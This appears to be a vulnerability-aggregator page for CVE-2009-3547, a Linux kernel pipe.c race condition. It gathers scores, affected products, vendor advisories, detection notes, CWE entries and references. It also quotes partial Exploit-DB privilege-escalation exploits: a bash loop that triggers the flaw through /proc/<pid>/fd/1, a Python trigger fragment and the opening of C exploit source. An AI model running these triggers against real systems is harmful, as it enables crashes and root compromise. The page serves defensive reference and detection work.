CVE-2009-3547
published 2009-11-04CVE-2009-3547: Multiple race conditions in fs/pipe.c in the Linux kernel before 2.6.32-rc6 allow local users to cause a denial of service (NULL pointer dereference and system…
PriorityP271high7CVSS 3.1
AVLACHPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
4.89%
92.1th percentile
Multiple race conditions in fs/pipe.c in the Linux kernel before 2.6.32-rc6 allow local users to cause a denial of service (NULL pointer dereference and system crash) or gain privileges by attempting to open an anonymous pipe via a /proc/*/fd/ pathname.
Affected
27 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| fedoraproject | fedora | — | — |
| linux | linux_kernel | <= 2.6.31.14 | — |
| linux | linux_kernel | — | — |
| novell | linux_desktop | — | — |
| opensuse | opensuse | — | — |
| opensuse | opensuse | — | — |
| redhat | enterprise_linux_desktop | — | — |
| redhat | enterprise_linux_desktop | — | — |
| redhat | enterprise_linux_desktop | — | — |
| redhat | enterprise_linux_eus | — | — |
| redhat | enterprise_linux_eus | — | — |
| redhat | enterprise_linux_server | — | — |
| redhat | enterprise_linux_server | — | — |
| redhat | enterprise_linux_server | — | — |
| redhat | enterprise_linux_workstation | — | — |
| redhat | enterprise_linux_workstation | — | — |
| redhat | enterprise_linux_workstation | — | — |
| redhat | mrg_realtime | — | — |
| suse | suse_linux_enterprise_desktop | — | — |
| suse | suse_linux_enterprise_server | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Exploit triggers by opening /proc/<pid>/fd/<n> on an anonymous pipe fd — monitor for processes repeatedly opening /proc/*/fd/* paths on pipe file descriptors, especially from unprivileged users. ↗
- →Exploit pattern involves a race between rapid pipe() creation/close in one thread and concurrent open() of /proc/<pid>/fd/<n> in another — detect tight loops of pipe()+close() paired with /proc/*/fd/* open() calls from the same process. ↗
- →Exploit maps a fake pipe_inode_info structure at NULL (address 0x0) via mmap(0, 0x1000, PROT_READ|PROT_EXEC|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, 0, 0) — detect mmap calls with MAP_FIXED at address 0 from unprivileged processes. ↗
- →Exploit writes to /proc/<pid>/fd/1 to trigger the NULL pointer dereference — alert on write() or shell redirection targeting /proc/*/fd/* paths on pipe descriptors. ↗
- →Check /boot/config* for CONFIG_PREEMPT, CONFIG_LOCKBREAK, or CONFIG_DEBUG_SPINLOCK as exploit notes these affect exploitability and structure layout. ↗
- →Exploit notes single-processor machines with CONFIG_PREEMPT_NONE=y may not be exploitable — use kernel config as a triage factor when assessing exposure. ↗
- ·Vulnerability affects Linux kernel before 2.6.32-rc6; systems running 2.6.32-rc6 or later are not affected. ↗
- ·Exploit structure layouts differ across kernel sub-versions (2.6.0–2.6.10, 2.6.11–2.6.16, 2.6.17–2.6.19, 2.6.20–2.6.22, 2.6.23–2.6.31); detection/mitigation must account for the specific kernel version in use. ↗
- ·Exploit reliability is affected by kernel build options PREEMPT, LOCKBREAK, and DEBUG_SPINLOCK — structures must be modified accordingly, and CONFIG_PREEMPT_NONE on single-CPU machines may prevent exploitation. ↗
CVSS provenance
nvdv3.17.0HIGHCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.9MEDIUMAV:L/AC:M/Au:N/C:C/I:C/A:C
vulncheck7.0HIGH
vendor_redhat7.0HIGH
vendor_ubuntu4.9MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
Linux kernel vulnerabilities
vendor_ubuntu·2009-12-05·CVSS 4.9
CVE-2009-3726 [MEDIUM] Linux kernel vulnerabilities
Title: Linux kernel vulnerabilities
Summary: Linux kernel vulnerabilities
It was discovered that the AX.25 network subsystem did not correctly
check integer signedness in certain setsockopt calls. A local attacker
could exploit this to crash the system, leading to a denial of service.
Ubuntu 9.10 was not affected. (CVE-2009-2909)
Jan Beulich discovered that the kernel could leak register contents to
32-bit processes that were switched to 64-bit mode. A local attacker
could run a specially crafted binary to read register values from an
earlier process, leading to a loss of privacy. (CVE-2009-2910)
Dave Jones discovered that the gdth SCSI driver did not correctly validate
array indexes in certain ioctl calls. A local attacker could exploit
this to crash the system or gain elevated privil
Red Hat
kernel: fs: pipe.c null pointer dereference
vendor_redhat·2009-10-14·CVSS 7.0
CVE-2009-3547 [HIGH] CWE-662 kernel: fs: pipe.c null pointer dereference
kernel: fs: pipe.c null pointer dereference
Multiple race conditions in fs/pipe.c in the Linux kernel before 2.6.32-rc6 allow local users to cause a denial of service (NULL pointer dereference and system crash) or gain privileges by attempting to open an anonymous pipe via a /proc/*/fd/ pathname.
GHSA
GHSA-qf89-p9hj-7h7g: Multiple race conditions in fs/pipe
ghsa_unreviewed·2022-05-02
CVE-2009-3547 [HIGH] CWE-362 GHSA-qf89-p9hj-7h7g: Multiple race conditions in fs/pipe
Multiple race conditions in fs/pipe.c in the Linux kernel before 2.6.32-rc6 allow local users to cause a denial of service (NULL pointer dereference and system crash) or gain privileges by attempting to open an anonymous pipe via a /proc/*/fd/ pathname.
VulnCheck
Linux Kernel Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
vulncheck·2009·CVSS 7.0
CVE-2009-3547 [HIGH] Linux Kernel Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Linux Kernel Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Multiple race conditions in fs/pipe.c in the Linux kernel before 2.6.32-rc6 allow local users to cause a denial of service (NULL pointer dereference and system crash) or gain privileges by attempting to open an anonymous pipe via a /proc/*/fd/ pathname.
Affected: Linux Kernel
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://flare.io/learn/resources/blog/old-school-irc-new-victims-inside-the-newly-discovered-sshstalker-linux-botnet
No detection rules found.
Exploit-DB
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation
exploitdb·2013-12-16
CVE-2009-3547 Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation
Linux Kernel 2.6.10 why can't you just randomize the base
that's what PaX does
You've not been paying attention to what art's saying, or you don't
understand yet, either case is one of think it through yourself.
whatever
Only to see poetic justice in August 2003 (ttt: Theo again):
more exactly, we heard of pax when they started bitching
miod, that was very well spoken.
That wraps up our OpenBSD history lesson, in case anyone forgot it.
PS -- enjoy that null ptr deref exploit just released for OpenBSD.
Important final exploit notes:
don't forget to inspect /boot/config* to see if PREEMPT, LOCKBREAK,
or DEBUG_SPINLOCK are enabled and modify the structures below
accordingly -- a fancier exploit would do this automatically
I've broken the 2.4->2.6.10 version of the exploit and would lik
Exploit-DB
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)
exploitdb·2009-11-12
CVE-2009-3547 Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)
---
while : ; do
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
PID=$!
OUT=$(ps -efl | grep 'sleep 1' | grep -v grep |
{ read PID REST ; echo $PID; } )
OUT="${OUT%% *}"
DELAY=$((RANDOM * 1000 / 32768))
usleep $((DELAY * 1000 + RANDOM % 1000 ))
echo n > /proc/$OUT/fd/1 # Trigger defect
done
Exploit-DB
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)
exploitdb·2009-11-05
CVE-2009-3547 Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)
Linux Kernel 2.4.1 /proc/" + pid + "/fd/1"
os.system(loc) # triggers the fault, runs via sh
Exploit-DB
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)
exploitdb·2009-11-03
CVE-2009-3547 Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)
Linux Kernel 2.6.0
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/* First of all, im about to teach (hehe, just like mah nick) you mah powerful copy-and-past skillz */
// didn't really care about this. i mixed 2.6.0 to 2.6.31 :)
#define PIPE_BUFFERS (16)
struct __wait_queue_head {
int spinlock;
void *next, *prev; // struct list_head
};
struct fasync_struct { // bleh! didn't change from 2.6.0 to 2.6.31
int magic;
int fa_fd;
struct fasync_struct *fa_next;
void *file; // struct file
};
// this iz the w00t about 2.6.11 to 2.6.31
struct pipe_buf_operations {
int suce;
int *fptr[6];
};
// from 2.6.0 to 2.6.10
struct pipe_inode_info_2600_10 {
struct __wait_queue_head wait;
char *base; // !!!!!
unsigned int len; // !!!
Exploit-DB
Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)
exploitdb·2009-11-03
CVE-2009-3547 Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)
Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)
---
/*
source: https://www.securityfocus.com/bid/36901/info
Linux kernel is prone to a local privilege-escalation vulnerability that is caused by a NULL-pointer dereference.
Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.
*/
/******************************************************************************
* .:: Impel Down ::.
*
* Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
* by teach & xipe
* Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
* (hehe guyz, we would probably be high profile and media
CWE
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
mitre_cwe
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
A race condition occurs within concurrent environments, and it is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties
CWE
Operation on a Resource after Expiration or Release
mitre_cwe
CWE-672 Operation on a Resource after Expiration or Release
CWE-672: Operation on a Resource after Expiration or Release
The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.
Modes of Introduction:
Phase: Implementation
Phase: Operation
Common Consequences:
Scope: Integrity, Confidentiality. Impact: Modify Application Data, Read Application Data. If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.
Scope: Other, Availability. Impact: Other, DoS: Crash, Exit, or Restart. When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.
Detection
CWE
Premature Release of Resource During Expected Lifetime
mitre_cwe
CWE-826 Premature Release of Resource During Expected Lifetime
CWE-826: Premature Release of Resource During Expected Lifetime
The product releases a resource that is still intended to be used by itself or another actor.
This weakness focuses on errors in which the product should not release a resource, but performs the release anyway. This is different than a weakness in which the product releases a resource at the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weakness, the resource should still be valid upon the subsequent access. When a product releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, informatio
CWE
NULL Pointer Dereference
mitre_cwe
CWE-476 NULL Pointer Dereference
CWE-476: NULL Pointer Dereference
The product dereferences a pointer that it expects to be valid but is NULL.
Modes of Introduction:
Phase: Implementation
Common Consequences:
Scope: Availability. Impact: DoS: Crash, Exit, or Restart. NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.
Scope: Integrity, Confidentiality. Impact: Execute Unauthorized Code or Commands, Read Memory, Modify Memory. In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code ex
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=ad3960243e55320d74195fb85c975e0a8cc4466chttp://lists.opensuse.org/opensuse-security-announce/2009-11/msg00005.htmlhttp://lists.opensuse.org/opensuse-security-announce/2009-11/msg00007.htmlhttp://lists.opensuse.org/opensuse-security-announce/2010-01/msg00000.htmlhttp://lists.opensuse.org/opensuse-security-announce/2010-02/msg00005.htmlhttp://lists.vmware.com/pipermail/security-announce/2010/000082.htmlhttp://lkml.org/lkml/2009/10/14/184http://lkml.org/lkml/2009/10/21/42http://marc.info/?l=oss-security&m=125724568017045&w=2http://secunia.com/advisories/37351http://secunia.com/advisories/38017http://secunia.com/advisories/38794http://secunia.com/advisories/38834http://www.kernel.org/pub/linux/kernel/v2.6/testing/ChangeLog-2.6.32-rc6http://www.mandriva.com/security/advisories?name=MDVSA-2009:329http://www.redhat.com/support/errata/RHSA-2009-1672.htmlhttp://www.securityfocus.com/archive/1/512019/100/0/threadedhttp://www.securityfocus.com/bid/36901http://www.ubuntu.com/usn/usn-864-1http://www.vupen.com/english/advisories/2010/0528https://bugzilla.redhat.com/show_bug.cgi?id=530490https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11513https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7608https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9327https://rhn.redhat.com/errata/RHSA-2009-1540.htmlhttps://rhn.redhat.com/errata/RHSA-2009-1541.htmlhttps://rhn.redhat.com/errata/RHSA-2009-1548.htmlhttps://rhn.redhat.com/errata/RHSA-2009-1550.htmlhttps://www.redhat.com/archives/fedora-package-announce/2009-November/msg00190.htmlhttp://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=ad3960243e55320d74195fb85c975e0a8cc4466chttp://lists.opensuse.org/opensuse-security-announce/2009-11/msg00005.htmlhttp://lists.opensuse.org/opensuse-security-announce/2009-11/msg00007.htmlhttp://lists.opensuse.org/opensuse-security-announce/2010-01/msg00000.htmlhttp://lists.opensuse.org/opensuse-security-announce/2010-02/msg00005.htmlhttp://lists.vmware.com/pipermail/security-announce/2010/000082.htmlhttp://lkml.org/lkml/2009/10/14/184http://lkml.org/lkml/2009/10/21/42http://marc.info/?l=oss-security&m=125724568017045&w=2http://secunia.com/advisories/37351http://secunia.com/advisories/38017http://secunia.com/advisories/38794http://secunia.com/advisories/38834http://www.kernel.org/pub/linux/kernel/v2.6/testing/ChangeLog-2.6.32-rc6http://www.mandriva.com/security/advisories?name=MDVSA-2009:329http://www.redhat.com/support/errata/RHSA-2009-1672.htmlhttp://www.securityfocus.com/archive/1/512019/100/0/threadedhttp://www.securityfocus.com/bid/36901http://www.ubuntu.com/usn/usn-864-1http://www.vupen.com/english/advisories/2010/0528https://bugzilla.redhat.com/show_bug.cgi?id=530490https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11513https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7608https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9327https://rhn.redhat.com/errata/RHSA-2009-1540.htmlhttps://rhn.redhat.com/errata/RHSA-2009-1541.htmlhttps://rhn.redhat.com/errata/RHSA-2009-1548.htmlhttps://rhn.redhat.com/errata/RHSA-2009-1550.htmlhttps://www.redhat.com/archives/fedora-package-announce/2009-November/msg00190.html
2009-11-04
Published
Exploited in the wild